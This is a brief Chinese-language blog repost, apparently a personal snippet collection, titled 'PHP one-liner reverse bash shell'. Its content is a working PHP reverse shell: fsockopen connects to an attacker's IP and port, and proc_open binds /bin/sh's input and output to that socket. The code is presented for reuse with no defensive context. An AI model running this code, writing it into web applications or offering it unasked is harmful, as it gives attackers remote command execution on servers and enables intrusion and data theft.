php一句话反弹bash shell

来源:https://www.leavesongs.com/PHP/backshell-via-php.html

 

用到了,记录一下

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

  

转载于:https://www.cnblogs.com/yangxiaodi/p/8898129.html

你可能感兴趣的:(php一句话反弹bash shell)